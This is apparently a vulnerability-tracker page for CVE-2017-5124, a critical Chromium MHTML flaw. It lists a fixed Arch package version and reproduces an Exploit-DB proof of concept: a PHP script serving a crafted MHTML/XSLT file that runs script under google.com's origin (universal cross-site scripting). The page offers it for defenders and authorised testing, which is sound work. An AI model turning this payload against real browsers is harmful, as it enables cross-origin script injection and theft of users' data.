CVE-2017-5124

critical
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
10.0

Description

multiple issues in chromium

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-45867 local multiple php · 1 KB
Anton Lopanitsyn · 2017-10-03

Webkit (Chome < 61) - 'MHTML' Universal Cross-site Scripting

php exploit Source: Exploit-DB
<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>




MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

OS impact

arch Arch Fixed 1 release
VersionStatusFixed in
Fixed 62.0.3202.62-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.